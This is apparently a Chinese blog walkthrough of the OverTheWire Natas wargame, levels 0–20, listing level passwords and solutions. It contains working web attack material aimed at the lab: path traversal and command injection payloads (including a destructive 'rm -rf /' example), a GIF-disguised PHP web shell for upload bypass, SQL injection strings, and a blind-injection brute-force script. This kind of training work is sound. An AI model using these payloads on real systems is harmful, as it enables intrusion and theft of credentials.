Natas 教授服务器端 Web 安全的基础知识。natas 的每个级别都由自己的网站组成,网址为 http://natasX.natas.labs.overthewire.org,其中 X 是级别编号。 没有 SSH 登录 。要访问某个级别,请输入该级别的用户名(例如,natas0 表示级别 0)及其密码。每个级别都可以访问下一级别的密码。您的工作是以某种方式获取下一个密码并升级。 所有密码也都存储在 /etc/natas_webpass/ 中 。例如,natas5 的密码存储在文件 /etc/natas_webpass/natas5 中,只有 natas4 和 natas5 才能读取。详细参考:https://overthewire.org/wargames/natas/
声明:阅读过程中如遇到相关工具的问题,建议先阅读致谢的预备工作部分。
关卡密码tag/vitalnatas0natas0源码natas10nzCigAq7t2iALyvU9xcHlYN4MlkIwlq禁用右键natas2TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI文件目录natas33gqisGdR0pjm6tpkDKdIWO2hSvchLeYHrobotsnatas4QryZXc2e0zahULdHrtHxzyYkj59kUxLQReferernatas50n35PkggAPm2zbEpOU802c0x0Msn1ToKCookienatas60RoJwHdSKWFTYR5WuiAewauSuNaBXnedincludenatas7bmg8SvU1LizuWjx3y7xkNERkHxGre0GS路径穿越natas8xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q简易加解密natas9ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6tgrep,passthrunatas10t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOupreg_matchnatas11UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk流密码,xornatas12yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB文件上传,rcenatas13trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC同上natas14z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQsql注入natas15SdqIqBsFcz3yotlNYErZSZwblkm0lrvxsql注入布尔盲注natas16hPkjKYviLQctEW33QmuXL6eDVfMW4sGosql注入模糊匹配,爆破natas17EqjHJbo7LFNb8vwhHb9s75hokh5TF0OCSQL注入时间盲注natas186OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJPHPSESSID1,会话劫持natas19tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJrPHPSESSID2,会话劫持natas20p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVywPHPSESSID3,会话劫持natas21BPhv63cKE1lkQl04cE5CuFTzXe15NfiHPHPSESSID4,会话劫持natas22d8rwGBl0Xslg3b76uh3fEbSlnOUBlozzPHPSESSID5,会话劫持natas23dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRsstrstr,phpnatas24MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWdstrcmp,数组绕过natas25ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws综合natas26cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE综合natas27u3RRffXjysjgwFU6b9xa23i6prmUsYnemysqli的varcharnatas281JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj加解密,爆破(稍难)natas2931F4j3Qi2PnuhIZQokxXk1L3QT9CppnsPerlnatas30WQhx1BvcmP9irs2MP9tRnLsNaDI76YrHPerlnatas31m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0yPerlnatas32NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0BPerlnatas33shu5ouSu6eicielahhae0mohd4ui5uig综合natas34综合部分所涉及的知识点较多,这里不仔细打标签,可以自己探索。同组别的题目不打标签,便于实验的连续性和对细节的把握和感悟。
natas0
右键,查看源码,0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
natas1
被禁用右键,ctrl-u。TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
natas2
files/pixel.png查看无效。返回上级目录查看。
查看users.txt,3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH- # username:password
- alice:BYNdCesZqW
- bob:jw2ueICLvT
- charlie:G5vCxkVV3m
- natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
- eve:zo4mJWyNj2
- mallory:9urtcpzBmH
复制代码 natas3
源代码中有这么一句话,- There is nothing on this page
复制代码 联想到robots协议,它允许一部分爬取,一部分禁止爬取。
构造payloadhttp://natas3.natas.labs.overthewire.org/robots.txt。robots.txt中的内容:
- User-agent: * 使规则适用于所有爬虫。
- Disallow: /s3cr3t/ 禁止爬虫访问 s3cr3t 目录。
访问http://natas3.natas.labs.overthewire.org/s3cr3t/,只有users.txt文件。于是,
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt,得到natas4 ryZXc2e0zahULdHrtHxzyYkj59kUxLQ。
natas4
将Referer改为:
方法1:hackbar,0n35PkggAPm2zbEpOU802c0x0Msn1ToK
方法2:request,0n35PkggAPm2zbEpOU802c0x0Msn1ToK
源码- import requests
- url = "http://natas4.natas.labs.overthewire.org/"
- username = "natas4"
- # 将以下密码替换为实际获取的natas4密码
- password = "QryZXc2e0zahULdHrtHxzyYkj59kUxLQ"
- # 必须设置Referer为natas5的URL
- headers = {
- "Referer": "http://natas5.natas.labs.overthewire.org/"
- }
- response = requests.get(
- url,
- auth=requests.auth.HTTPBasicAuth(username, password),
- headers=headers
- )
- # 发送 GET 请求,进行基本认证,并带上自定义的 Referer 请求头,等同于 response = #requests.get(url, auth=(username, password), headers=headers)
- # 提取密码(根据实际页面结构解析)
- if response.status_code == 200:
- print("响应内容:")
- print(response.text)
- # 通常密码在页面注释或特定字段中,需根据实际内容提取
- else:
- print("请求失败,状态码:", response.status_code)
复制代码
natas5
登陆后显示Access disallowed. You are not logged in。
登陆标识一般是由Cookie控制的。
1. 什么是 Cookie?
- Cookie 是存储在用户浏览器中的小文件,用于保存用户的浏览器活动信息,比如偏好设置、登录状态等。
- 它们由服务器发送并保存在客户端(浏览器)中,然后在每次请求时发送回服务器。
2. Cookie 的工作原理
- 当用户访问网站时,服务器可以向浏览器发送一个或多个 Cookie。
- 浏览器将这些 Cookie 存储在本地(通常为文本文件)。
- 每次用户访问该网站时,浏览器会自动将存储的 Cookie 发送回服务器,以便服务器知道用户的身份或其他信息。
方法1:开发者模式
方法2:python脚本,0RoJwHdSKWFTYR5WuiAewauSuNaBXned
- import requests
- url = "http://natas5.natas.labs.overthewire.org/"
- username = "natas5"
- password = "ORoJwHdSKWFTYRSWuiAewauSuNaBXned" # 替换为实际natas5密码
- # 手动设置Cookie中的loggedin值为1
- cookies = {
- "loggedin": "1"
- }
- response = requests.get(url, auth=(username, password), cookies=cookies)
- # 提取密码(根据页面结构解析)
- if response.status_code == 200:
- print("响应内容:")
- print(response.text)
- # 密码通常在页面源码的注释或特定标签中,例如:
- # 使用正则提取:Access granted. The password for natas6 is (\w+)
- else:
- print(f"请求失败,状态码:{response.status_code}")
复制代码 natas6
代码审计,引入一个外部文件 secret.inc,如果用户提交的post请求与$secret变量相等,就能获取下一关的密码。
漏洞复现:
- 这里引入的外部文件 secret.inc,可能包含敏感信息(例如密码或密钥)。
- 建议:使用绝对路径或相对路径的方式来确保文件存在,避免出现路径遍历漏洞(例如 ../../includes/secret.inc)。
- $_POST['secret'] 是从用户输入中获取的值,而没有进行任何验证或过滤,直接将其与 $secret 进行比较。这种做法存在风险,尤其是用户输入的数据没有经过消毒处理。若没有正确验证,攻击者可能利用此漏洞进行 跨站脚本攻击(XSS) 或 SQL 注入(假如 $secret 被传入数据库查询时)。
- 建议:
- 进行 输入验证 和 过滤,确保 $_POST['secret'] 只包含预期的安全字符。
- 例如,使用 htmlspecialchars 来避免 XSS 漏洞:
- $secret_input = htmlspecialchars($_POST['secret'], ENT_QUOTES, 'UTF-8');
- if ($secret == $secret_input) {
- print "Access granted. The password for natas7 is <censored>";
- } else {
- print "Wrong secret";
- }
复制代码 构造payload http://natas6.natas.labs.overthewire.org/includes/secret.inc
看到- [/code]输入框输入secret的值,bmg8SvU1LizuWjx3y7xkNERkHxGre0GS。
- [align=center]
[/align] - [size=6]natas7[/size]
- F12查看到,
- [align=center]
[/align] - 说密码在那个路径下,直接访问不行。所以想到目录遍历漏洞,构造payload
- http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../../../../../../../.././../../../../../../../../../../../../../../../etc/natas_webpass/natas8
- 得到xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q。或者上python脚本
- [code]import requests
- # 目标URL和认证信息
- url = "http://natas7.natas.labs.overthewire.org/index.php"
- username = "natas7"
- password = "bmg8SvU1LizuWjx3y7xkNERkHxGre0GS"
- # 构造路径遍历Payload读取natas8的密码文件
- params = {
- "page": "../../../../../../../../../../../../../../../../../../../../../etc/natas_webpass/natas8"
- }
- # 发送GET请求
- response = requests.get(url, auth=(username, password), params=params)
- # 提取密码
- if response.status_code == 200:
- # 密码通常直接显示在页面内容中
- print("响应内容:")
- print(response.text)
- # 示例提取逻辑(根据实际响应调整):
- # password = response.text.split("\n")[0]
- # print(f"密码:{password}")
- else:
- print(f"请求失败,状态码:{response.status_code}")
复制代码 natas8
审计代码
一个encodeSecret函数,和一个encodedSecret变量。如果传入的secret的值经过简单的base64,字符串反转,2进制转16进制后,所得的值与设定的encodedSecret的变量值相等,就会得到natas9的密码。那么,如何构造这样一个值呢?反过来就行。
漏洞复现:
建议:
- secret的处理只是简单的编码,建议使用安全的密码算法,如 密码哈希 和 盐值(salt)。例如,可以使用 password_hash 和 password_verify 函数来处理密码。
- import base64
- # 需要处理的字段
- encoded_secret = "3d3d516343746d4d6d6c315669563362"
- # 步骤 1: 先将 encodedSecret 转换为2进制
- hex_bytes = bytes.fromhex(encoded_secret)
- # 步骤 2: 反转字节流(与 PHP 的 strrev 相同)
- reversed_bytes = hex_bytes[::-1]
- # 步骤 3: 解码 base64
- decoded_bytes = base64.b64decode(reversed_bytes)
- # 步骤 4: 输出结果
- secret = decoded_bytes.decode('utf-8')
- print(f"The secret is: {secret}")
复制代码 运行脚本后,The secret is: oubWYf2kBq。提交凭证,会看到Access granted. The password for natas9 is ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t。
natas9
审计代码,如果key的值存在,就会将needle请求的值赋给key。key的值不为空,就会执行passthru函数中的命令。
漏洞复现:
对key没有进行充分过滤,如;、|、&&、$(...),会引起命令注入漏洞。 比如,如果用户提供的 needle 是 ; rm -rf /,这将导致服务器上的所有文件被删除。输入 ; cat /etc/passwd,执行cat /etc/passwd后,会泄露系统用户信息。
建议:
限制 $key 的长度,或者仅允许字母和数字。使用正则表达式对输入进行限制:- if (preg_match('/^[a-zA-Z0-9]+$;/', $key)) {
- passthru("grep -i $key dictionary.txt");
- } else {
- echo "Invalid input.";
- }
复制代码 使用 escapeshellarg() 来对用户输入进行转义,防止恶意命令的注入:- $key = escapeshellarg($_REQUEST['needle']);
- passthru("grep -i $key dictionary.txt");
复制代码 输入框输入;cat /etc/natas_webpass/natas10,t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu。
natas10
增加了对;| &的过滤,- [/code]国际站关于grep的用法。grep 作弊表 |grep 命令行指南
- 输入a cat /etc/natas_webpass/natas11,后台会执行grep -i a cat /etc/natas_webpass/natas11 dictionary.txt。grep -i a dictionary.txt会在dictionary.txt中找到包含a和A的单词,cat /etc/natas_webpass/natas11会被grep当作另外一个文件,执行后得到密码UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk。
- [align=center]
[/align] - [size=6]natas11[/size]
- 代码量明显增多,从后往前找。
- [align=center]
[/align] - [indent]$data[ ''showpassword" ]与字符串“yes”相等时,就会打印natas12的密码。
- [/indent][indent]这里的$data有两个,一个是调用loadData,一个被传入某个请求。
- [/indent][align=center]
[/align] - [indent]loadData的初步分析。
- [/indent][align=center]
[/align] - 同natas5一样,查看cookie的参数data,取出HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D,
- 转成url码是HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg= 。
- 这里的url码就是saveData($data)经过加密后得来的,将其json加密,xor加密,base_64加密,就能得到新的cookie。
- 下面用到xor的性质,建议阅读 XOR 教程 。
- 我们用原来cookie的url码(密文)和默认文本$defaultdata(明文),xor解码后找到密钥 $key的加长版。判断 $key是 eDWo,将其与默认的 $yesdata文本三层加密后,得到的输出就是我们新的cookie(setcookie)。这个新的cookie,经过yes判断,就获取到natas12的密码。
- [code]
复制代码 所以,用新的cookie 值HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5,修改参数data,刷新后,得到yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB。
natas12
打开界面,看界面就是文件上传,因此暂时不进行代码审计。
写入一句话木马,添加php后缀。- [/code]上传一句话木马之后(需要关闭防火墙),反响是jpg被成功上传。我们想要php格式的文件能够成功执行。于是修改为php后缀,右键重放(Repeater),发送(Send)。
- [align=center]
[/align] - 查看响应(Response),发现随机生成了一个php文件。
- [align=center]
[/align] - [list=1]
- [*]上传上图框住的php文件,查看网页。
- [align=center]
[/align] - [/list]警告syetem函数的参数cmd没有传参,导致无法执行命令。
- [list=1]
- [*]拼接cmd=id,文件所有者,组用户都包含natas12。
- [align=center]
[/align] - [*]接着拼接cmd=cat /etc/natas_webpass/natas13,
- [align=center]
[/align] - [/list]得到trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC。
- 最后,代码审计。
- [align=center]
[/align] - [size=6]natas13[/size]
- 改写一句话木马。
- [code]GIF89a
- <?php
- system($_GET['cmd']);
- ?>
复制代码
- 上传一句话木马index.php,Proxy抓包,显示
- Repeater篡改,发送
- 传http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php
- 传http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php?cmd=cat%20/etc/natas_webpass/natas13
得z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ。
审计代码,与natas12相比,增加几个限制,实际情况①和②都不允许。
natas14
审计代码,典型的sql注入。
hackbar添加post请求。
相当于SELECT * from users where username="" OR 1=1 #&password=,#后面的被注释。前面必有一结果为真,因而成功执行。或者万能密码admin " OR "1"="1,后面password部分必为真,而管理员用户肯定包含admin。所以,得到SdqIqBsFcz3yotlNYErZSZwblkm0lrvx。
natas15
查看前端和源码,前端会有两种相反的返回值(TURE,FLASE),大致判断是盲注。
布尔盲注的特点是输入SQL语句,前端不会返回任何结果(可能描述不够准确)。这一关的目的是寻找已存在的用户名(natas16)及匹配的密码。因而用模糊匹配写python脚本,这里核心部分参考natas15| Blog。- import requests
- url = 'http://natas15.natas.labs.overthewire.org/index.php'
- username = 'natas15'
- password = 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx'
- key = ''
- def main():
- key = ''
- for i in range(0,32):
- for __ in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~@!#{}$%^,&*()_+-":
- data = {'username': f'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"), {i+1}, 1) = BINARY "{__}" #'}
- #可以替换成参考的payload: data = {'username': 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),'+str(i+1)+',1)= BINARY "' + __ + '" #'}
- print("Now is trying: " + key + __, end = '\r')
- response = requests.post(url,data=data,auth=(username,password))
- #print(response.text)
- if "exists" in response.text:
- key = key + __
- break
- print("[+] NextPassword:" + key)
- if __name__ == "__main__":
- main()
复制代码 运行结果如下:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
natas16
框框里面是过滤的字符,不包括斜杠( / )。
可以利用没有过滤$的特点编写脚本,
注意url + data才是我们需要的payload。
得到EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC。
natas17
请求成功,页面无回显,看样子是时间盲注(timeout)。
这里的注释印证了上述说法。
编写脚本,修改data,需要sleep函数来反应,否则难以得到结果。这里调脚本调了好久/(ㄒoㄒ)/~~ ,主要是data的构造和脚本运行时长很长的原因。
结果如下:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ。
natas18
审计代码:- <?php
- $maxid = 640; // 640 should be enough for everyone
- function isValidAdminLogin() { /* {{{ */
- if($_REQUEST["username"] == "admin") {
- /* This method of authentication appears to be unsafe and has been disabled for now. */
- //return 1;
- }
- return 0;
- }
- /* }}} */
- function isValidID($id) { /* {{{ */
- return is_numeric($id);
- }
- /* }}} */
- function createID($user) { /* {{{ */
- global $maxid;
- return rand(1, $maxid);
- }
- /* }}} */
- function debug($msg) { /* {{{ */
- if(array_key_exists("debug", $_GET)) {
- print "DEBUG: $msg<br>";
- }
- }
- /* }}} */
- function my_session_start() { /* {{{ */
- if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
- if(!session_start()) {
- debug("Session start failed");
- return false;
- } else {
- debug("Session start ok");
- if(!array_key_exists("admin", $_SESSION)) {
- debug("Session was old: admin flag set");
- $_SESSION["admin"] = 0; // backwards compatible, secure
- }
- return true;
- }
- }
- return false;
- }
- /* }}} */
- function print_credentials() { /* {{{ */
- if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
- print "You are an admin. The credentials for the next level are:<br>";
- print "<pre>Username: natas19\n";
- print "Password: <censored></pre>";
- } else {
- print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
- }
- }
- /* }}} */
- $showform = true;
- if(my_session_start()) {
- print_credentials();
- $showform = false;
- } else {
- if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
- session_id(createID($_REQUEST["username"]));
- session_start();
- $_SESSION["admin"] = isValidAdminLogin();
- debug("New session started");
- $showform = false;
- print_credentials();
- }
- }
- if($showform) {
- ?>
-
- <p>
- Please login with your admin account to retrieve credentials for natas19.
- </p>
-
- <form action="index.php" method="POST">
- Username: <input name="username"><br>
- Password: <input name="password"><br>
- <input type="submit" value="Login" />
- </form>
- <?php }
- ?>
复制代码 大致情况如下:
简单来说,需要一个非法的PHPSESSID种子(cookie),用管理员admin登录(session)。就能显示natas19的密码。
尝试随便输入点什么,果然看到PHPSESSID!
这个思路应该没错,继续编写脚本。
结果太长,不截图,以折叠代码的形式出现。
点击查看代码提交正确的PHPSESSID后,你能够看到:
You are an admin. The credentials for the next level are:
Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
natas19
随便提交些啥。结果返回,
”You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.“
需要管理员用户。观察到有d,因而需要转十六进制。当然,admin 需要先转成utf8。
[+] PHPSESSID= 0adminPSESSID......: 0admin
[+] PHPSESSID= 1adminPSESSID......: 1admin
[+] PHPSESSID= 2adminPSESSID......: 2admin
cookie=dict(PHPSESSID=(str(_) + '-admin').encode('utf-8').hex()) 中,-admin 的作用是构造一个特定的会话 ID 格式,目的是通过会话伪造(Session Hijacking)或会话注入(Session Fixation)来模拟管理员权限。-admin是由PSESSID解码后得到的统一标识符。
运行结果:
点击查看代码提交正确的种子之后,看到
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
You are an admin. The credentials for the next level are:
Username: natas20
Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
natas20
审计代码
[code] |